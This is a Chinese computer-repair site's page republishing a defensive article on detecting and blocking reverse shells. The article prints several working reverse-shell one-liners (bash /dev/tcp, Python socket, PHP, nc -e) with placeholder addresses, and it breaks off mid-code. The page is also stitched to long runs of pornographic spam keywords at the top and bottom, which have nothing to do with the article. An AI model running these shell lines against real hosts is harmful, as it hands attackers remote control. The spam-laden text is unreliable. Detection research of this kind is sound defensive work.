国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
自動化反彈Shell防御技術

作者: 佚名  日期:2018-11-03 12:08:36   來源: 本站整理

 當命令注入點已經到手,Webshell已經就緒,nc已經監聽起來了,冒新鮮熱氣兒的Shell唾手可得的那種狂喜,大家還記得嗎?反彈Shell一般是外網滲透的最后一步,也是內網滲透的第一步。反彈Shell對服務器安全乃至內網安全的危害不必多說。

雖然本diao主要是玩Web安全的,可主機安全監控也是要做起來的,誰讓咱是一個人的安全部呢?最近筆者潛心搞了一個反彈Shell攻擊自動發現和阻斷系統,本著技術共享的理念,當然也是為了讓各位大神看看有沒有繞過的可能,把這個技術分享出來,大家共勉。

項目GitHub: Seesaw
0×1 反彈Shell解析

未知攻,焉知防?我們先來分析一下反彈Shell這個不新的滲透技術,看看有什么入手點。反彈Shell顧名思義,有兩個關鍵詞——反彈和Shell。

反彈:利用命令執行/代碼執行/Webshell/Redis未授權訪問寫入crontab等等漏洞,使目標服務器發出主動連接請求,從而繞過防火墻的入站訪問控制規則。
Shell:使服務器Shell進程stdin/stdout/stderr重定向到攻擊端。
常見的反彈Shell姿勢有(詳見文章):

bash -i >& /dev/tcp/ip/port 0>&1

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

nc -e /bin/bash ip port
通過仔細觀察,我們可以發現這些姿勢無一例外使用了重定向,這也是識別反彈Shell的突破口,且聽筆者細細道來。

我們知道Linux中一切皆文件,正常情況下打開Bash進程時,Bash進程的stdin、stdout、stderr會定向到終端設備文件(例如/dev/pts/0),如下示意圖:

定向到終端設備文件

此時Bash打開的文件描述符為:

Bash打開的文件描述符

可以看到bash進程已經打開了對應的字符設備文件描述符,用于將stdin(0u)/stdout(1u)/stderr(2u)等定向到字符設備。

當出現反彈Shell時,例如最流行的姿勢bash -i >& /dev/tcp/ip/port 0>&1,我們來解析一下這條命令的意思。

bash -i:啟動交互式bash進程
& /dev/tcp/ip/port:將stdout/stderr重定向到與ip:port的tcp套接字中
0>&1:將stdin重定向到stdout中(此時stdout是重定向到套接字的,也就是說stdin也將從套接字中讀取)
綜上,這條命令是為了控制Bash進程,并獲得進程的標準輸出和錯誤輸出,采用重定向技術將stdin/stdout/stderr重定向到了套接字設備中,此時輸入輸出的結構發生了變化,如下示意圖:

輸入輸出的結構發生了變化

通過lsof命令可以看到此時的文件描述符打開情況:

文件描述符打開情況

可以發現stdin(0u)/stdout(1u)/stderr(2u)全都重定向到了TCP套接字中,而且此時進程所屬的用戶也變成了apache(運行Web服務的用戶),當前路徑就是Webshell所在的目錄。

先知社區有不錯的反彈Shell重定向分析:Linux反彈shell(一)文件描述符與重定向、Linux 反彈shell(二)反彈shell的本質。本文借鑒學習了這些文章內容,也正是通過對文章內容的學習啟發了以上我對反彈Shell的特征提取思路,比心。

0×2 總體思路

綜合上述分析,反彈Shell的識別思路便浮出水面:

及時發現Bash進程啟動事件。
檢查Bash進程是否打開了終端設備,是否有主動對外連接。
0×3 失敗嘗試

思路是有了,實現時卻發現困難重重,第一個深坑,就是如何在第一時間捕捉到Shell進程的啟動。為什么要第一時間呢?如果給了黑客短暫的操作窗口,就可能被植入更深層的木馬/rootkit,甚至提權后直接把咱的監控程序干掉,這是絕對不能容忍的。

在這個深坑里,筆者撲騰了好幾回,下面介紹在坑中的各種嘗試,以及最終的成功方法。為啥失敗的經驗還要說呢?其實這些思路本身不壞,只是不太適合我們的項目目標,順便介紹給大家共勉。

Round 1 Sysloghistory of BASH

既然要發現Shell進程,第一個思路是從Bash本身入手,如果Bash執行命令,讓Bash進程自己告訴我。編譯Bash開啟命令history syslog功能,從而獲取bash命令、bash進程pid、uid、pwd之類有用的信息,正好之前做異常命令識別時有過這個經驗,當時也借鑒了一些文章:安全運維之如何將Linux歷史命令記錄發往遠程Rsyslog服務器。

說干就干,下載bash源碼:https://ftp.gnu.org/gnu/bash/。

a. 打開config-top.h 116行注釋,開啟bash syslog history功能:

開啟bash syslog history功能

b. 在bashhist.c 771行和776行自定義需要的syslog內容和格式,比如我最愛的JSON,但由于命令內容容易出現引號、轉義符等導致JSON解析不成功,單獨放在一列:

JSON

c. 修改rsyslog配置/etc/rsyslog.conf,用于本地保存或者發送至遠程日志服務器做分析,并重啟rsyslog服務(service rsyslog restart):

修改rsyslog配置

至此,所有調用Bash執行的命令都被我們記錄下來了:

調用Bash執行的命令

是不是感覺勝利在望了?筆者當時也很興奮。可是在測試中發現如果反彈命令前面帶“sh -c”,就不會被記錄。這是不能容忍的缺陷,可是為啥記錄不到,找不到任何頭緒。沮喪的同時筆者深入思考,這個方法是不適合用于監控Shell進程啟動的,實際執行命令時再檢查就太晚了。

Round 2 proc文件系統

此路不通不要氣餒,再接再厲。我們知道Linux系統有一個proc偽文件系統,記錄著當前內核運行狀態等信息,還有以進程id為名的一堆目錄,里面是與該進程相關的運行信息。能不能從proc文件系統下手,實時監控Shel進程呢?

第一反應是用inotify監控/proc目錄創建目錄的事件,一旦創建新目錄就說明啟動了新進程,再進行相應的檢查。用pyinotify庫寫了一個監控程序:

class BashHandler(pyinotify.ProcessEvent):



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    亚洲最大av在线| 久草av在线播放| 九九久久精品这里久久网| 久草电影在线| 日韩一区二区三免费高清在线观看| 成人黄色理论片| 男女精品网站| 亚洲国产另类av| 日韩视频免费在线| 日本三级中国三级99人妇网站| 欧美体内she精高潮| 国产在线精品观看| 国产精品久久久亚洲第一牛牛| 91九色在线porn| 香蕉久久精品| 不卡一区二区三区四区| 91超碰这里只有精品国产| 97超级碰碰碰久久久| 日本福利视频网站| 精品99久久久久成人网站免费| 国产另类图片| 天天综合av| 99久久精品一区二区成人| 亚洲国产裸拍裸体视频在线观看乱了中文 | 五月天激情视频在线观看| 亚洲免费黄色网址| 高清av影院| 国产亚洲高清一区| 成人av网站在线| 亚洲欧美日韩高清| 亚洲精品视频一区二区三区| 国产探花在线视频| freehdxxxx护士| eeuss影院在线播放| 久久高清精品| 一区二区三区波多野结衣在线观看| 九九热这里只有精品6| 91九色丨porny丨国产jk| 潘金莲一级淫片aaaaaa播放| 嫩草懂你的影院| 日本一区二区在线看| 亚洲午夜在线电影| 国产精品视频内| 亚洲熟女乱综合一区二区三区| 性xxxx奶大欧美高清| 亚洲成人看片| 成人av电影免费在线播放| 一个人www欧美| 日本福利视频一区| 朝桐光av一区二区三区| 国产精品美女一区二区三区四区| 97成人资源| 成人黄色一级视频| 中文字幕日韩综合av| 欧美 国产 综合| 99国产精品久久久久久久成人| 黄色免费在线观看网站| 日本在线观看不卡视频| 精品99999| 日本黄色片一级片| 亚洲国产成人一区二区| 欧美少妇精品| 久久精品亚洲乱码伦伦中文| 成人午夜影视| 亚洲色诱最新| 日韩精品在线免费播放| 日韩a∨精品日韩在线观看| 亚洲综合免费视频| 91黄页在线观看| 26uuu精品一区二区| 国产91精品久久久久久久| 久久亚洲AV成人无码国产野外| 又爽又黄的午夜网站| 香蕉视频一区二区三区| 91久久精品一区二区三| 亚洲在线不卡| 韩国av在线免费观看| 日本另类视频| 一区二区三区美女视频| 国产精品乱码视频| 天堂网免费视频| 美女精品导航| 国产日本亚洲高清| 91在线|亚洲| 日本特级黄色片| 麻豆福利在线观看| 久久精品视频一区二区| 国产成人精品一区| avove在线播放| 免费黄色网址在线观看| 成人三级伦理片| 国产欧美日韩精品在线观看| 久热精品在线观看| 欧美人与禽性xxxxx杂性| 久久久久久久久99精品| 国产精品偷伦免费视频观看的| 日韩国产第一页| 国产在线二区| 中文av一区二区| 六月婷婷久久| 欧美 日韩 国产 成人 在线| 亚洲91网站| 国产成人精品一区二区三区网站观看 | 伊人在线视频| 久久免费看少妇高潮| 久久视频在线看| xxx在线播放| 美州a亚洲一视本频v色道| 成人av在线影院| 国产精品视频福利| 亚洲伦理在线观看| 九色精品国产蝌蚪| 国产午夜精品理论片a级探花| 麻豆tv在线观看| 欧美18xxxxx| 久久精品一区四区| 日韩精彩视频| 精品国产免费第一区二区| 亚洲欧美在线专区| 欧美精品在线网站| 青娱乐国产在线| 国产精品xx| 色婷婷狠狠综合| 久久婷五月综合| 中文在线有码| 91麻豆123| 色爱区成人综合网| 国产情侣高潮对白| 久久综合激情| 91免费欧美精品| 日本黄色大片视频| 亚洲二区三区不卡| 97在线视频观看| 中国女人真人一级毛片| 欧美wwwsss9999| 综合欧美国产视频二区| 国产高清在线免费观看| 九九九精品视频| 欧美大黄免费观看| 少妇久久久久久久久久| av在线播放资源| 欧美探花视频资源| 人妻激情偷乱频一区二区三区 | 波多野结衣中文字幕一区| 欧美大陆一区二区| 91看片官网| 国产电影一区二区三区| 欧美日韩中文国产一区发布| 国产成人禁片在线观看| 美女在线视频一区| 欧美成人综合一区| 激情美女网站| www.成人在线| 日韩视频在线观看视频| 免费看片黄色| 99久久综合狠狠综合久久| 好吊色这里只有精品| caoporn超碰国产公开| 国产日韩av一区| 粗暴91大变态调教| www.91在线| 欧美影视一区在线| 久久国产柳州莫菁门| 欧美一区=区三区| 这里只有精品视频| 中文字幕免费观看视频| 91精品蜜臀一区二区三区在线| 国产精品免费视频久久久| 4hu四虎永久网址| 国产一区二区免费看| 欧洲金发美女大战黑人| 最新在线观看av| 欧美性xxxx| 少妇高潮惨叫久久久久| 人妻无码中文字幕| 久久免费小视频| 久久久久久久久久久97| 免费日韩一区二区三区| 高清视频欧美一级| 神马久久久久久久久久| 日韩avvvv在线播放| 亚洲高清乱码| 亚洲日本高清| 欧美中文字幕久久| 美国黄色小视频| 色一区二区三区四区| 成人免费网视频| 日本黄视频网站| 国产精品日日摸夜夜摸av| 日韩精品在线播放视频| 91高清视频在线观看| 日韩激情在线视频| 色婷婷久久综合中文久久蜜桃av| 欧美在线高清| 日本精品一区二区三区视频| 亚洲综合图片| 91精品中文字幕一区二区三区| 国产成人无码精品亚洲| 精品91在线| 亚洲精品一区二区三区四区五区|